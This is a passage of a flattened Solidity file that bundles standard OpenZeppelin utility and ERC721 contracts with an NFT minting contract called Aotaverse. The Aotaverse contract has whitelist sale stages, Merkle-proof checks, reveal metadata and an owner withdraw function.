call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: Aotaverse/Aotaverse.sol pragma solidity >=0.7.0 <0.9.0; contract Aotaverse is ERC721, Ownable, ReentrancyGuard { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; string public uriPrefix = ""; string public hiddenMetadataUri; uint256 private cost = 0.12 ether; uint256 public maxSupply = 6666; uint256 public softCap = 6397; uint256 public constant maxMintAmountPerTx = 2; uint256 private mode = 1; bool public paused = true; bool public revealed = false; bytes32 public merkleRoot = 0x450a513e792e43fa592f74169e2a79a1ce5a08272c26f7f494e27e2d56d18d7d; mapping(address => uint256) public ClaimedWhitelist; mapping(address => uint256) public ClaimedMeka; address public immutable proxyRegistryAddress = address(0xa5409ec958C83C3f309868babACA7c86DCB077c1); //Opensea Proxy Address: 0xa5409ec958C83C3f309868babACA7c86DCB077c1 address private constant withdrawTo = 0xFe5c087fD87891cA23AB98904d65A92D15A07D45; constructor() ERC721("Aotaverse", "AOTA") ReentrancyGuard() { setHiddenMetadataUri("ipfs://Qmar3nffS1aMs1nsTg7J225WKVkenqfwYNLPF3MEEbUbxR/blind.json"); supply.increment(); _safeMint(msg.sender, supply.current()); } //MODIFIERS modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount < maxMintAmountPerTx+1, "Invalid mint amount"); require(supply.current() + _mintAmount < softCap+1, "Exceeds Soft Cap"); _; } //MINT function mint(bytes32[] memory proof, uint256 _mintAmount) external payable mintCompliance(_mintAmount) nonReentrant { require(!paused, "The contract is paused!"); require(msg.value > cost * _mintAmount - 1, "Insufficient funds"); require(mode != 4, "Mode is post-sale"); if(mode == 1) { require(ClaimedMeka[msg.sender] + _mintAmount < 3, "Exceeds meka allowance"); } else if(mode == 2) { require(ClaimedWhitelist[msg.sender] + _mintAmount < 3, "Exceeds whitelist allowance"); } if(mode != 3) { bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(proof, merkleRoot, leaf), "Verification failed"); } if (mode == 1) { ClaimedMeka[msg.sender] += _mintAmount; } else if(mode == 2) { ClaimedWhitelist[msg.sender] += _mintAmount; } _mintLoop(msg.sender, _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) external onlyOwner nonReentrant { require(mode == 4, "Mode is not post-sale"); require(supply.current() + _mintAmount < maxSupply + 1); _mintLoop(_receiver, _mintAmount); } //VIEWS function walletOfOwner(address _owner) external view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require(_exists(_tokenId), "ERC721Metadata: URI query for nonexistent token"); if (revealed == false) { return hiddenMetadataUri; } return bytes(uriPrefix).length > 0 ? string(abi.encodePacked(uriPrefix, _tokenId.toString(), ".json")) : ""; } function totalSupply() external view returns (uint256) { return supply.current(); } function getMode() external view returns (uint256) { return mode; } function getCost() external view returns (uint256) { return cost; } //ONLY OWNER SET function setMaxSupply(uint256 _MS) external onlyOwner { require(_MS > maxSupply, "New MS below previous MS"); maxSupply = _MS; } function setSoftCap(uint256 _SC) external onlyOwner { require(_SC > softCap, "New SC below previous SC"); softCap = _SC; } function togglemode() external onlyOwner { if(mode == 1) { mode = 2; cost = 0.15 ether; merkleRoot = 0x9cda0a83c7fb86bd9c2b6808e91d8320854e7951a44376f6351087a304d4851b; } else if(mode == 2) { mode = 3; cost = 0.2 ether; merkleRoot = bytes32(0x00); } else if (mode == 3) { mode = 4; cost = 0 ether; } else { mode = 1; cost = 0.12 ether; } } function setRevealed(bool _state) external onlyOwner { revealed = _state; } function setCost(uint256 _newCost) external onlyOwner { require(_newCost > 0); cost = _newCost; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) external onlyOwner { uriPrefix = _uriPrefix; } function setPaused(bool _state) external onlyOwner { paused = _state; } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function withdraw() external payable onlyOwner { (bool os, ) = payable(withdrawTo).call{value: address(this).balance}(""); require(os); } function isApprovedForAll(address _owner, address operator) public view override returns (bool) { OpenSeaProxyRegistry proxyRegistry = OpenSeaProxyRegistry(proxyRegistryAddress); if(address(proxyRegistry.proxies(_owner)) == operator) { return true; } return super.isApprovedForAll(_owner, operator); } } contract OwnableDelegateProxy {} contract OpenSeaProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; }
